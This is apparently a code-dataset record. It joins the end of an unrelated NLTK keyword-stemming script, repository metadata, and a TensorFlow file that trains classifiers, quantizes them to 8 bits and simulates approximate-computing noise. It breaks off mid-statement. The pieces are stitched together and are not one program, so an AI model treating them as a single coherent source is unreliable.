[x.lower().split("\n") for x in keywords] stemmer = PorterStemmer() for i, label_keywords in enumerate(keywords): stemmed_words = [] for word in label_keywords: token_words = word_tokenize(word) stemmed_tokens = [stemmer.stem(t) for t in token_words if t not in stopwords.words("english")] stemmed_words.append(" ".join(stemmed_tokens)) keywords[i] = stemmed_words print(keywords[0], keywords[1], keywords[2], keywords[3], keywords[4], keywords[5], keywords[6], keywords[7], keywords[8]) with open("keywords.pkl", "wb") as f: pickle.dump(keywords, f)

16.046408

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0.863571

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0.002956

0.004318

0.793711

0.789059

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0.783482

0.78248

0.77883

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16.046408

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0.000536

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0

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0

7

405efef856e3bfbe9876ef92fe4609e2f34c92b9

209,398

py

Python

Train/Net.py

shelljane/ApproxFlow

e24aea877ebb66a79e4deacf6d635aabb1cb6662

[ "MIT" ]

2

2021-03-16T03:29:05.000Z

2021-07-28T02:05:05.000Z

Train/Net.py

FDU-ME-ARC/ApproxFlow

e24aea877ebb66a79e4deacf6d635aabb1cb6662

[ "MIT" ]

null

Train/Net.py

FDU-ME-ARC/ApproxFlow

e24aea877ebb66a79e4deacf6d635aabb1cb6662

[ "MIT" ]

1

2021-04-05T17:39:13.000Z

import tensorflow as tf import Layer import numpy as np from Protocol import Net from tensorflow.python.ops.array_ops import fake_quant_with_min_max_vars from tensorflow.python.framework import graph_util FAKEBITS = Layer.FAKEBITS PORTION = 1.0 FROM = -1.0 TO = 1.0 HParamDefault = {'NumGPU': 1, 'BatchSize': 50, 'LearningRate': 1e-3, 'MinLearningRate': 1e-5, 'WeightDecay': 1e-5, 'ValidateAfter': 1000, 'LRDecayAfter': 10000, 'LRDecayRate': 0.1, 'TestSteps': 200, 'TotalSteps': 30000} class Net4Classify(Net): def __init__(self, inputShape, numClasses, body, HParam=HParamDefault, name='Net4Classify'): Net.__init__(self, HParam, name) with self._graph.as_default(), tf.device('/cpu:0'), tf.variable_scope(self._name, reuse=tf.AUTO_REUSE): # Inputs self._images = tf.placeholder(dtype=tf.float32, shape=[self._HParam['BatchSize']]+inputShape, name='images') self._labels = tf.placeholder(dtype=tf.int64, shape=[self._HParam['BatchSize']], name='labels') self._numClasses = numClasses self._body = body self._optimizer = tf.train.AdamOptimizer(self._lr, epsilon=1e-8, use_locking=True) # Network if self._HParam['NumGPU'] > 0: self._imagesGroup = tf.split(self._images, self._HParam['NumGPU'], axis=0) self._labelsGroup = tf.split(self._labels, self._HParam['NumGPU'], axis=0) self._gpuBodies = [] self._gpuInferences = [] self._gpuAccuracies = [] self._gpuLosses = [] self._gpuLayers = [] self._lossesList = [] for idx in range(self._HParam['NumGPU']): with tf.device('/gpu:%d'%idx): with tf.name_scope('GPU_%d'%idx): body, layers = self.body(self._imagesGroup[idx]) self._gpuLayers.append(layers) self._gpuBodies.append(body) self._gpuInferences.append(self.inference(self._gpuBodies[idx])) self._gpuAccuracies.append(tf.reduce_mean(tf.cast(tf.equal(self._gpuInferences[idx], self._labelsGroup[idx]), tf.float32))) self._gpuLosses.append(self.getLoss(layers)) self._gpuLosses[idx] += self.lossFunc(self._gpuBodies[idx], self._labelsGroup[idx]) self._layers = self._gpuLayers[0] self._postInit() for idx in range(self._HParam['NumGPU']): with tf.device('/gpu:%d'%idx): with tf.name_scope('GPU_%d'%idx): self._lossesList.append(self._optimizer.compute_gradients(self._gpuLosses[idx], gate_gradients=0)) self._body = tf.concat(self._gpuBodies, axis=0) self._inference = tf.concat(self._gpuInferences, axis=0) self._body = tf.concat(self._gpuBodies, axis=0) self._inference = tf.concat(self._gpuInferences, axis=0) self._loss = tf.reduce_mean(tf.concat([tf.expand_dims(elem, axis=0) for elem in self._gpuLosses], axis=0), axis=0) self._accuracy = tf.reduce_mean(tf.concat([tf.expand_dims(elem, axis=0) for elem in self._gpuAccuracies], axis=0), axis=0) self._updateOps = [] for idx in range(len(self._gpuLayers)): self._updateOps.extend(self.getUpdateOps(self._gpuLayers[idx])) applyList = [] for idx in range(len(self._lossesList[0])): grads = [] for jdx in range(len(self._lossesList)): grads.append(tf.expand_dims(self._lossesList[jdx][idx][0], axis=0)) applyList.append((tf.reduce_mean(tf.concat(grads, axis=0), axis=0), self._lossesList[0][idx][1])) self._optimizer = self._optimizer.apply_gradients(applyList, global_step=self._step) else: body, layers = self.body(self._images) self._body = body self._inference = self.inference(self._body) self._loss = self.getLoss(layers) self._accuracy = tf.reduce_mean(tf.cast(tf.equal(self._inference, self._labels), tf.float32)) self._layers = layers self._updateOps = self.getUpdateOps(layers) self._postInit() applyList = self._optimizer.compute_gradients(self._loss, gate_gradients=0) self._optimizer = self._optimizer.apply_gradients(applyList, global_step=self._step) # Saver self._saver = tf.train.Saver(max_to_keep=5) # Network Graph # self._writer = tf.summary.FileWriter("./Tensorboard", self._sess.graph) def _postInit(self): pass # tf.contrib.quantize.create_training_graph(input_graph=self._graph, quant_delay=0) # print(tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES)) def train(self, genTrain, genTest, pathLoad=None, pathSave=None): with self._graph.as_default(): # Initialize all self._sess.run([tf.global_variables_initializer(), tf.local_variables_initializer()]) if pathLoad is not None: self.load(pathLoad) maxAccu = self.evaluate(genTest) self._postTrain('./NoTrainWeights') # self._writer.close() self._sess.run([self._phaseTrain]) for _ in range(self._HParam['TotalSteps']): data, label = next(genTrain) loss, accu, step, _ = self._sess.run([self._loss, self._accuracy, self._step, self._optimizer], \ feed_dict={self._images: data, self._labels: label}) self._sess.run(self._updateOps) print('\rStep: ', step, '; Loss: %.3f'% loss, '; Accuracy: %.3f'% accu, end='') if step % self._HParam['ValidateAfter'] == 0: print('\n') accu = self.evaluate(genTest) if pathSave is not None and accu >= maxAccu: maxAccu = accu self.save(pathSave) self._postTrain() self._sess.run([self._phaseTrain]) def _postTrain(self, path='./QuantWeights'): pass def evaluate(self, genTest, path=None): if path is not None: self.load(path) totalLoss = 0.0 totalAccu = 0.0 self._sess.run([self._phaseTest]) for idx in range(self._HParam['TestSteps']): data, label = next(genTest) loss, accu = self._sess.run([self._loss, self._accuracy], \ feed_dict={self._images: data, \ self._labels: label}) totalLoss += loss totalAccu += accu print('\rTest Step: ', idx, '; Loss: %.3f'% loss, '; Accuracy: %.3f'% accu, end='') totalLoss /= self._HParam['TestSteps'] totalAccu /= self._HParam['TestSteps'] print('\nTest: Loss: ', totalLoss, '; Accuracy: ', totalAccu, '\n') return totalAccu def body(self, images): # Body net, layers = self._body(self, images) logits = Layer.FullyConnected(net, outputSize=self._numClasses, \ weightInit=Layer.XavierInit, wd=self._HParam['WeightDecay'], \ biasInit=Layer.ConstInit(0.0), \ activation=Layer.Linear, \ # bn=True, step=self._step, ifTest=self._ifTest, epsilon=1e-8, \ name='FC_Logits', dtype=tf.float32) layers.append(logits) return logits.output, layers def inference(self, logits): return tf.argmax(logits, axis=-1, name='inference') def lossFunc(self, logits, labels, name='cross_entropy'): net = Layer.CrossEntropy(logits, labels, name=name) return net.output def save(self, path): self._saver.save(self._sess, path, global_step=self._step) # print(self._sess.graph_def) # constantGraph = graph_util.convert_variables_to_constants(self._sess, self._sess.graph_def, ['Net4Classify_1/GPU_0/FC_Logits/FinalOutput']) # with tf.gfile.FastGFile("/".join(path.split("/")[:-1]) + "/saved_model.pb", "wb") as fout: # fout.write(constantGraph.SerializeToString()) def load(self, path): self._saver.restore(self._sess, path) class Net4Quant(Net4Classify): def __init__(self, inputShape, numClasses, body, pretrained, HParam=HParamDefault, name='Net4Quant'): self._pretrained = pretrained self._preInit() Net4Classify.__init__(self, inputShape, numClasses, body, HParam, name) def _preInit(self): # tf.contrib.quantize.create_training_graph(input_graph=self._pretrained._graph, quant_delay=0) self._pretrained._quantLayers = {} self._pretrained._haveWeights = {} self._pretrained._haveBN = {} self._pretrained._layerInfos = [] self._pretrained._layerNames = [] self._pretrained._layerTypes = [] for idx in range(len(self._pretrained._layers)): print('Analyzing layer: ', self._pretrained._layers[idx]._name) name = self._pretrained._layers[idx]._name layertype = self._pretrained._layers[idx]._type self._pretrained._layerNames.append(name) self._pretrained._quantLayers[name] = {} for varName in self._pretrained._layers[idx]._variables.keys(): if varName == 'Weights': self._pretrained._haveWeights[name] = True weights = self._pretrained._layers[idx]._variables[varName] self._pretrained._quantLayers[name]['Weights'] = weights print(self._pretrained._layers[idx]._variables[varName]) elif varName == 'Bias': self._pretrained._haveWeights[name] = True bias = self._pretrained._layers[idx]._variables[varName] self._pretrained._quantLayers[name]['Bias'] = bias print(self._pretrained._layers[idx]._variables[varName]) elif varName == 'BN_Offset': self._pretrained._haveBN[name] = True offset = self._pretrained._layers[idx]._variables[varName] self._pretrained._quantLayers[name]['BN_Offset'] = offset print(self._pretrained._layers[idx]._variables[varName]) elif varName == 'BN_Scale': self._pretrained._haveBN[name] = True scale = self._pretrained._layers[idx]._variables[varName] self._pretrained._quantLayers[name]['BN_Scale'] = scale print(self._pretrained._layers[idx]._variables[varName]) elif varName == 'BN_MovMean': self._pretrained._haveBN[name] = True movmean = self._pretrained._layers[idx]._variables[varName] self._pretrained._quantLayers[name]['BN_MovMean'] = movmean print(self._pretrained._layers[idx]._variables[varName]) elif varName == 'BN_MovVar': self._pretrained._haveBN[name] = True movvar = self._pretrained._layers[idx]._variables[varName] self._pretrained._quantLayers[name]['BN_MovVar'] = movvar print(self._pretrained._layers[idx]._variables[varName]) act_min = self._pretrained._layers[idx].outMin self._pretrained._quantLayers[name]['Act_Min'] = act_min print(act_min) act_max = self._pretrained._layers[idx].outMax self._pretrained._quantLayers[name]['Act_Max'] = act_max print(act_max) if layertype.find('Conv') >= 0: info = [self._pretrained._layers[idx]._strideConv[1]] if self._pretrained._layers[idx]._pool: layertype += 'Pooling' info.extend([self._pretrained._layers[idx]._sizePooling[1], self._pretrained._layers[idx]._stridePooling[1]]) self._pretrained._layerInfos.append(info) elif layertype.find('Pooling') >= 0: info = [self._pretrained._layers[idx]._sizePooling[1], self._pretrained._layers[idx]._stridePooling[1]] self._pretrained._layerInfos.append(info) else: info = [] self._pretrained._layerInfos.append(info) self._pretrained._layerTypes.append(layertype) # print(self._pretrained._layers[idx]._variables) list(map(lambda l: print(l) or list(map(lambda x: print("\t", x, ":", self._pretrained._quantLayers[l][x]), self._pretrained._quantLayers[l].keys())), self._pretrained._layerNames)) self._preWeights = {} self._preBias = {} for idx in range(len(self._pretrained._layerNames)): name = self._pretrained._layerNames[idx] layertype = self._pretrained._layerTypes[idx] print("Copying Layer:", name) if name in self._pretrained._haveWeights: weights = self._pretrained._sess.run(self._pretrained._quantLayers[name]['Weights']) bias = self._pretrained._sess.run(self._pretrained._quantLayers[name]['Bias']) if 'Bias' in self._pretrained._quantLayers[name] else 0.0 act_min = self._pretrained._sess.run(self._pretrained._quantLayers[name]['Act_Min']) act_max = self._pretrained._sess.run(self._pretrained._quantLayers[name]['Act_Max']) if name in self._pretrained._haveBN: offset = self._pretrained._sess.run(self._pretrained._quantLayers[name]['BN_Offset']) if 'BN_Offset' in self._pretrained._quantLayers[name] else 0.0 scale = self._pretrained._sess.run(self._pretrained._quantLayers[name]['BN_Scale']) if 'BN_Scale' in self._pretrained._quantLayers[name] else 1.0 movmean = self._pretrained._sess.run(self._pretrained._quantLayers[name]['BN_MovMean']) movvar = self._pretrained._sess.run(self._pretrained._quantLayers[name]['BN_MovVar']) stddev = np.sqrt(movvar + 1e-8) tmp = scale / stddev weights = weights * tmp bias = offset + tmp * (bias - movmean) self._preWeights[name] = weights self._preBias[name] = bias def body(self, images): def _outWrapper(net): # Simulate quantization a = net._outMin b = net._outMax s = (b - a) / 255.0 output = net.output output = fake_quant_with_min_max_vars(net.output, a, b, num_bits=FAKEBITS, narrow_range=False) # Simulate value degrade in approximate computing # output -= 0.2 * (output - tf.reduce_min(output)) * tf.random_uniform(minval=0.0, maxval=1.0, shape=output.shape) return output # Body net, layers = self._body(self, images, self._preWeights, self._preBias) logits = Layer.FullyConnected(_outWrapper(net), outputSize=self._numClasses, \ weightInit=Layer.ConstInit(self._preWeights['FC_Logits']), wd=self._HParam['WeightDecay'], \ biasInit=Layer.ConstInit(self._preBias['FC_Logits']), \ activation=Layer.Linear, \ fakeQuant=True, name='FC_Logits', dtype=tf.float32) layers.append(logits) return logits.output, layers def _postInit(self): # tf.contrib.quantize.create_training_graph(input_graph=self._graph, quant_delay=0) self._quantLayers = {} self._haveWeights = {} self._haveBN = {} self._layersTable = {} self._layerInfos = [] self._layerNames = [] self._layerTypes = [] for idx in range(len(self._layers)): print('Analyzing layer: ', self._layers[idx]._name) name = self._layers[idx]._name self._layersTable[name] = self._layers[idx] layertype = self._layers[idx]._type self._layerNames.append(name) self._quantLayers[name] = {} for varName in self._layers[idx]._variables.keys(): if varName == 'Weights': self._haveWeights[name] = True weights = self._layers[idx]._variables[varName] self._quantLayers[name]['Weights'] = weights print(self._layers[idx]._variables[varName]) elif varName == 'Bias': self._haveWeights[name] = True bias = self._layers[idx]._variables[varName] self._quantLayers[name]['Bias'] = bias print(self._layers[idx]._variables[varName]) elif varName == 'BN_Offset': self._haveBN[name] = True offset = self._layers[idx]._variables[varName] self._quantLayers[name]['BN_Offset'] = offset print(self._layers[idx]._variables[varName]) elif varName == 'BN_Scale': self._haveBN[name] = True scale = self._layers[idx]._variables[varName] self._quantLayers[name]['BN_Scale'] = scale print(self._layers[idx]._variables[varName]) elif varName == 'BN_MovMean': self._haveBN[name] = True movmean = self._layers[idx]._variables[varName] self._quantLayers[name]['BN_MovMean'] = movmean print(self._layers[idx]._variables[varName]) elif varName == 'BN_MovVar': self._haveBN[name] = True movvar = self._layers[idx]._variables[varName] self._quantLayers[name]['BN_MovVar'] = movvar print(self._layers[idx]._variables[varName]) act_min = self._layers[idx].outMin self._quantLayers[name]['Act_Min'] = act_min print(act_min) act_max = self._layers[idx].outMax self._quantLayers[name]['Act_Max'] = act_max print(act_max) if layertype.find('Conv') >= 0: info = [self._layers[idx]._strideConv[1]] if self._layers[idx]._pool: layertype += 'Pooling' info.extend([self._layers[idx]._sizePooling[1], self._layers[idx]._stridePooling[1]]) self._layerInfos.append(info) elif layertype.find('Pooling') >= 0: info = [self._layers[idx]._sizePooling[1], self._layers[idx]._stridePooling[1]] self._layerInfos.append(info) else: info = [] self._layerInfos.append(info) self._layerTypes.append(layertype) # print(self._layers[idx]._variables) list(map(lambda l: print(l) or list(map(lambda x: print("\t", x, ":", self._quantLayers[l][x]), self._quantLayers[l].keys())), self._layerNames)) def _postTrain(self, path='./QuantWeights'): def quantWeights(weights, layerName): #print('Max: ', weights.max(), '; Min: ', weights.min()) #S_weights = (weights.max() - weights.min()) / 255 #Z_weights = int(np.round((0.0 - weights.min()) / S_weights)) #Q_weights = np.round((weights - weights.min()) / S_weights).astype(np.int) maxabs = np.abs(weights).max() # maxabs = self._layersTable[layerName]._weightMax.eval(session=self._sess) print('Max: ', weights.max(), '; Min: ', weights.min(), '; Abs: ', maxabs) S_weights = 2 * maxabs / 255.0 Z_weights = 128 Q_weights = np.zeros_like(weights).astype(np.int) Q_weights[weights == 0] = Z_weights Q_weights[weights > 0] = (Z_weights + np.round((weights) / S_weights).astype(np.int))[weights > 0] Q_weights[weights < 0] = (Z_weights + np.round((weights) / S_weights).astype(np.int))[weights < 0] # Q_weights = np.round((weights + maxabs) / S_weights).astype(np.int) Q_weights[Q_weights > 255] = 255 Q_weights[Q_weights < 0] = 0 print(" -> 0:", np.sum(Q_weights == 0), "127:", np.sum(Q_weights == 127), "128:", np.sum(Q_weights == 128), "129:", np.sum(Q_weights == 129), "255:", np.sum(Q_weights == 255)) return S_weights, Z_weights, Q_weights def quantBias(biases, S_input, S_weights, layerName): print('Max: ', biases.max(), '; Min: ', biases.min()) S_biases = S_input * S_weights Z_biases = 0 Q_biases = np.round(biases / S_biases).astype(np.int) return S_biases, Z_biases, Q_biases def quantAct(minAct, maxAct): print('Max: ', maxAct, '; Min: ', minAct) S_acts = (maxAct - minAct) / 255 Z_acts = int(np.round((0.0 - minAct) / S_acts)) return S_acts, Z_acts #maxabs = max(abs(maxAct), abs(minAct)) #print('Max: ', maxAct, '; Min: ', minAct, '; MaxAbs: ', maxabs) #S_acts = 2 * maxabs / 255.0 #Z_acts = 128 #return S_acts, Z_acts self._postWeights = {} self._postBias = {} self._postActivationsMax = {} self._postActivationsMin = {} S_input = 1.0 / 255.0 Z_input = 0 S_last = S_input f_names = open(path + '/' + self._name+'_names.txt', 'w') f_config = open(path + '/' + self._name+'_config.txt', 'w') f_debug = open('./Debug.txt', 'w') for idx in range(len(self._layerNames)): name = self._layerNames[idx] layertype = self._layerTypes[idx] f_names.write(name + " " + layertype + "\n") print("Quantizing Layer:", name) if name in self._haveWeights: weights = self._sess.run(self._quantLayers[name]['Weights']) bias = self._sess.run(self._quantLayers[name]['Bias']) act_min = self._sess.run(self._quantLayers[name]['Act_Min']) act_max = self._sess.run(self._quantLayers[name]['Act_Max']) if name in self._haveBN: offset = self._sess.run(self._quantLayers[name]['BN_Offset']) scale = self._sess.run(self._quantLayers[name]['BN_Scale']) movmean = self._sess.run(self._quantLayers[name]['BN_MovMean']) movvar = self._sess.run(self._quantLayers[name]['BN_MovVar']) assert len(offset.shape) == 1, 'WRONG: offset' assert len(scale.shape) == 1, 'WRONG: scale' assert len(movmean.shape) == 1, 'WRONG: movmean' assert len(movvar.shape) == 1, 'WRONG: movvar' stddev = np.sqrt(movvar + 1e-8) tmp = scale / stddev weights = weights * tmp bias = offset + tmp * (bias - movmean) shape_weights = weights.shape shape_bias = bias.shape for jdx in range(len(shape_weights)): f_config.write(str(shape_weights[jdx]) + " ") for info in self._layerInfos[idx]: f_config.write(str(info) + " ") f_config.write("\n") weights = weights.reshape([-1]) bias = bias.reshape([-1]) S_weights, Z_weights, Q_weights = quantWeights(weights, name) S_biases, Z_biases, Q_biases = quantBias(bias, S_last, S_weights, name) S_acts, Z_acts = quantAct(act_min, act_max) S_last = S_acts self._postWeights[name] = S_weights * (Q_weights - Z_weights) self._postBias[name] = S_biases * (Q_biases - Z_biases) self._postActivationsMin[name] = act_min self._postActivationsMax[name] = act_max print(name, ' weights: ', file = f_debug) print(self._postWeights[name], file = f_debug) print(name, ' bias: ', file = f_debug) print(self._postBias[name], file = f_debug) with open(path + '/' + name + '_weights.txt', 'w') as fout: fout.write(str(S_weights) + "\n") fout.write(str(Z_weights) + "\n") for idx in range(Q_weights.shape[0]): fout.write(str(Q_weights[idx]) + " ") with open(path + '/' + name + '_biases.txt', 'w') as fout: fout.write(str(S_biases) + "\n") fout.write(str(Z_biases) + "\n") for idx in range(Q_biases.shape[0]): fout.write(str(Q_biases[idx]) + " ") with open(path + '/' + name + '_activations.txt', 'w') as fout: fout.write(str(S_acts) + "\n") fout.write(str(Z_acts) + "\n") else: act_min = self._sess.run(self._quantLayers[name]['Act_Min']) act_max = self._sess.run(self._quantLayers[name]['Act_Max']) S_acts, Z_acts = quantAct(act_min, act_max) S_last = S_acts self._postActivationsMin[name] = act_min self._postActivationsMax[name] = act_max if layertype.find('Pooling') >= 0: f_config.write(str(self._layerInfos[idx][0]) + " " + str(self._layerInfos[idx][1])) f_config.write("\n") with open(path + '/' + name + '_activations.txt', 'w') as fout: fout.write(str(S_acts) + "\n") fout.write(str(Z_acts) + "\n") f_names.close() f_config.close() f_debug.close() class Net4Approx(Net4Classify): def __init__(self, inputShape, numClasses, body, pretrained, HParam=HParamDefault, name='Net4Approx'): self._pretrained = pretrained self._preInit() Net4Classify.__init__(self, inputShape, numClasses, body, HParam, name) def _preInit(self): # tf.contrib.quantize.create_training_graph(input_graph=self._pretrained._graph, quant_delay=0) self._pretrained._quantLayers = {} self._pretrained._haveWeights = {} self._pretrained._haveBN = {} self._pretrained._layerInfos = [] self._pretrained._layerNames = [] self._pretrained._layerTypes = [] for idx in range(len(self._pretrained._layers)): print('Analyzing layer: ', self._pretrained._layers[idx]._name) name = self._pretrained._layers[idx]._name layertype = self._pretrained._layers[idx]._type self._pretrained._layerNames.append(name) self._pretrained._quantLayers[name] = {} for varName in self._pretrained._layers[idx]._variables.keys(): if varName == 'Weights': self._pretrained._haveWeights[name] = True weights = self._pretrained._layers[idx]._variables[varName] self._pretrained._quantLayers[name]['Weights'] = weights print(self._pretrained._layers[idx]._variables[varName]) elif varName == 'Bias': self._pretrained._haveWeights[name] = True bias = self._pretrained._layers[idx]._variables[varName] self._pretrained._quantLayers[name]['Bias'] = bias print(self._pretrained._layers[idx]._variables[varName]) elif varName == 'BN_Offset': self._pretrained._haveBN[name] = True offset = self._pretrained._layers[idx]._variables[varName] self._pretrained._quantLayers[name]['BN_Offset'] = offset print(self._pretrained._layers[idx]._variables[varName]) elif varName == 'BN_Scale': self._pretrained._haveBN[name] = True scale = self._pretrained._layers[idx]._variables[varName] self._pretrained._quantLayers[name]['BN_Scale'] = scale print(self._pretrained._layers[idx]._variables[varName]) elif varName == 'BN_MovMean': self._pretrained._haveBN[name] = True movmean = self._pretrained._layers[idx]._variables[varName] self._pretrained._quantLayers[name]['BN_MovMean'] = movmean print(self._pretrained._layers[idx]._variables[varName]) elif varName == 'BN_MovVar': self._pretrained._haveBN[name] = True movvar = self._pretrained._layers[idx]._variables[varName] self._pretrained._quantLayers[name]['BN_MovVar'] = movvar print(self._pretrained._layers[idx]._variables[varName]) act_min = self._pretrained._layers[idx].outMin self._pretrained._quantLayers[name]['Act_Min'] = act_min print(act_min) act_max = self._pretrained._layers[idx].outMax self._pretrained._quantLayers[name]['Act_Max'] = act_max print(act_max) if layertype.find('Conv') >= 0: info = [self._pretrained._layers[idx]._strideConv[1]] if self._pretrained._layers[idx]._pool: layertype += 'Pooling' info.extend([self._pretrained._layers[idx]._sizePooling[1], self._pretrained._layers[idx]._stridePooling[1]]) self._pretrained._layerInfos.append(info) elif layertype.find('Pooling') >= 0: info = [self._pretrained._layers[idx]._sizePooling[1], self._pretrained._layers[idx]._stridePooling[1]] self._pretrained._layerInfos.append(info) else: info = [] self._pretrained._layerInfos.append(info) self._pretrained._layerTypes.append(layertype) # print(self._pretrained._layers[idx]._variables) list(map(lambda l: print(l) or list(map(lambda x: print("\t", x, ":", self._pretrained._quantLayers[l][x]), self._pretrained._quantLayers[l].keys())), self._pretrained._layerNames)) self._preWeights = {} self._preBias = {} for idx in range(len(self._pretrained._layerNames)): name = self._pretrained._layerNames[idx] layertype = self._pretrained._layerTypes[idx] print("Copying Layer:", name) if name in self._pretrained._haveWeights: weights = self._pretrained._sess.run(self._pretrained._quantLayers[name]['Weights']) bias = self._pretrained._sess.run(self._pretrained._quantLayers[name]['Bias']) if 'Bias' in self._pretrained._quantLayers[name] else 0.0 act_min = self._pretrained._sess.run(self._pretrained._quantLayers[name]['Act_Min']) act_max = self._pretrained._sess.run(self._pretrained._quantLayers[name]['Act_Max']) if name in self._pretrained._haveBN: offset = self._pretrained._sess.run(self._pretrained._quantLayers[name]['BN_Offset']) if 'BN_Offset' in self._pretrained._quantLayers[name] else 0.0 scale = self._pretrained._sess.run(self._pretrained._quantLayers[name]['BN_Scale']) if 'BN_Scale' in self._pretrained._quantLayers[name] else 1.0 movmean = self._pretrained._sess.run(self._pretrained._quantLayers[name]['BN_MovMean']) movvar = self._pretrained._sess.run(self._pretrained._quantLayers[name]['BN_MovVar']) stddev = np.sqrt(movvar + 1e-8) tmp = scale / stddev weights = weights * tmp bias = offset + tmp * (bias - movmean) self._preWeights[name] = weights self._preBias[name] = bias def body(self, images): def _outWrapper(net): # Simulate quantization a = net._outMin b = net._outMax s = (b - a) / 255.0 output = net.output output = fake_quant_with_min_max_vars(net.output, a, b, num_bits=FAKEBITS, narrow_range=False) # Simulate value degrade in approximate computing # output += PORTION * (output - tf.reduce_min(output)) * tf.random_uniform(minval=FROM, maxval=TO, shape=output.shape) output += PORTION * tf.abs(output) * tf.random_uniform(minval=FROM, maxval=TO, shape=output.shape) return output # Body net, layers = self._body(self, images, self._preWeights, self._preBias) logits = Layer.FullyConnected(_outWrapper(net), outputSize=self._numClasses, \ weightInit=Layer.ConstInit(self._preWeights['FC_Logits']), wd=self._HParam['WeightDecay'], \ biasInit=Layer.ConstInit(self._preBias['FC_Logits']), \ activation=Layer.Linear, \ fakeQuant=True, name='FC_Logits', dtype=tf.float32) layers.append(logits) return logits.output, layers def _postInit(self): # tf.contrib.quantize.create_training_graph(input_graph=self._graph, quant_delay=0) self._quantLayers = {} self._layersTable = {} self._haveWeights = {} self._haveBN = {} self._layerInfos = [] self._layerNames = [] self._layerTypes = [] for idx in range(len(self._layers)): print('Analyzing layer: ', self._layers[idx]._name) name = self._layers[idx]._name layertype = self._layers[idx]._type self._layersTable[name] = self._layers[idx] self._layerNames.append(name) self._quantLayers[name] = {} for varName in self._layers[idx]._variables.keys(): if varName == 'Weights': self._haveWeights[name] = True weights = self._layers[idx]._variables[varName] self._quantLayers[name]['Weights'] = weights print(self._layers[idx]._variables[varName]) elif varName == 'Bias': self._haveWeights[name] = True bias = self._layers[idx]._variables[varName] self._quantLayers[name]['Bias'] = bias print(self._layers[idx]._variables[varName]) elif varName == 'BN_Offset': self._haveBN[name] = True offset = self._layers[idx]._variables[varName] self._quantLayers[name]['BN_Offset'] = offset print(self._layers[idx]._variables[varName]) elif varName == 'BN_Scale': self._haveBN[name] = True scale = self._layers[idx]._variables[varName] self._quantLayers[name]['BN_Scale'] = scale print(self._layers[idx]._variables[varName]) elif varName == 'BN_MovMean': self._haveBN[name] = True movmean = self._layers[idx]._variables[varName] self._quantLayers[name]['BN_MovMean'] = movmean print(self._layers[idx]._variables[varName]) elif varName == 'BN_MovVar': self._haveBN[name] = True movvar = self._layers[idx]._variables[varName] self._quantLayers[name]['BN_MovVar'] = movvar print(self._layers[idx]._variables[varName]) act_min = self._layers[idx].outMin self._quantLayers[name]['Act_Min'] = act_min print(act_min) act_max = self._layers[idx].outMax self._quantLayers[name]['Act_Max'] = act_max print(act_max) if layertype.find('Conv') >= 0: info = [self._layers[idx]._strideConv[1]] if self._layers[idx]._pool: layertype += 'Pooling' info.extend([self._layers[idx]._sizePooling[1], self._layers[idx]._stridePooling[1]]) self._layerInfos.append(info) elif layertype.find('Pooling') >= 0: info = [self._layers[idx]._sizePooling[1], self._layers[idx]._stridePooling[1]] self._layerInfos.append(info) else: info = [] self._layerInfos.append(info) self._layerTypes.append(layertype) # print(self._layers[idx]._variables) list(map(lambda l: print(l) or list(map(lambda x: print("\t", x, ":", self._quantLayers[l][x]), self._quantLayers[l].keys())), self._layerNames)) def _postTrain(self, path='./ApproxWeights'): def quantWeights(weights, layerName): #print('Max: ', weights.max(), '; Min: ', weights.min()) #S_weights = (weights.max() - weights.min()) / 255 #Z_weights = int(np.round((0.0 - weights.min()) / S_weights)) #Q_weights = np.round((weights - weights.min()) / S_weights).astype(np.int) maxabs = np.abs(weights).max() # maxabs = self._layersTable[layerName]._weightMax.eval(session=self._sess) print('Max: ', weights.max(), '; Min: ', weights.min(), '; Abs: ', maxabs) S_weights = 2 * maxabs / 255.0 Z_weights = 128 Q_weights = np.zeros_like(weights).astype(np.int) Q_weights[weights == 0] = Z_weights Q_weights[weights > 0] = (Z_weights + np.round((weights) / S_weights).astype(np.int))[weights > 0] Q_weights[weights < 0] = (Z_weights + np.round((weights) / S_weights).astype(np.int))[weights < 0] # Q_weights = np.round((weights + maxabs) / S_weights).astype(np.int) Q_weights[Q_weights > 255] = 255 Q_weights[Q_weights < 0] = 0 print(" -> 0:", np.sum(Q_weights == 0), "127:", np.sum(Q_weights == 127), "128:", np.sum(Q_weights == 128), "129:", np.sum(Q_weights == 129), "255:", np.sum(Q_weights == 255)) return S_weights, Z_weights, Q_weights def quantBias(biases, S_input, S_weights, layerName): print('Max: ', biases.max(), '; Min: ', biases.min()) S_biases = S_input * S_weights Z_biases = 0 Q_biases = np.round(biases / S_biases).astype(np.int) return S_biases, Z_biases, Q_biases def quantAct(minAct, maxAct): print('Max: ', maxAct, '; Min: ', minAct) S_acts = (maxAct - minAct) / 255 Z_acts = int(np.round((0.0 - minAct) / S_acts)) return S_acts, Z_acts #maxabs = max(abs(maxAct), abs(minAct)) #print('Max: ', maxAct, '; Min: ', minAct, '; MaxAbs: ', maxabs) #S_acts = 2 * maxabs / 255.0 #Z_acts = 128 #return S_acts, Z_acts self._postWeights = {} self._postBias = {} self._postActivationsMax = {} self._postActivationsMin = {} S_input = 1.0 / 255.0 Z_input = 0 S_last = S_input f_names = open('./ApproxWeights/' + self._name+'_names.txt', 'w') f_config = open('./ApproxWeights/' + self._name+'_config.txt', 'w') f_debug = open('./Debug.txt', 'w') for idx in range(len(self._layerNames)): name = self._layerNames[idx] layertype = self._layerTypes[idx] f_names.write(name + " " + layertype + "\n") print("Quantizing Layer:", name) if name in self._haveWeights: weights = self._sess.run(self._quantLayers[name]['Weights']) bias = self._sess.run(self._quantLayers[name]['Bias']) act_min = self._sess.run(self._quantLayers[name]['Act_Min']) act_max = self._sess.run(self._quantLayers[name]['Act_Max']) if name in self._haveBN: offset = self._sess.run(self._quantLayers[name]['BN_Offset']) scale = self._sess.run(self._quantLayers[name]['BN_Scale']) movmean = self._sess.run(self._quantLayers[name]['BN_MovMean']) movvar = self._sess.run(self._quantLayers[name]['BN_MovVar']) assert len(offset.shape) == 1, 'WRONG: offset' assert len(scale.shape) == 1, 'WRONG: scale' assert len(movmean.shape) == 1, 'WRONG: movmean' assert len(movvar.shape) == 1, 'WRONG: movvar' stddev = np.sqrt(movvar + 1e-8) tmp = scale / stddev weights = weights * tmp bias = offset + tmp * (bias - movmean) shape_weights = weights.shape shape_bias = bias.shape for jdx in range(len(shape_weights)): f_config.write(str(shape_weights[jdx]) + " ") for info in self._layerInfos[idx]: f_config.write(str(info) + " ") f_config.write("\n") weights = weights.reshape([-1]) bias = bias.reshape([-1]) S_weights, Z_weights, 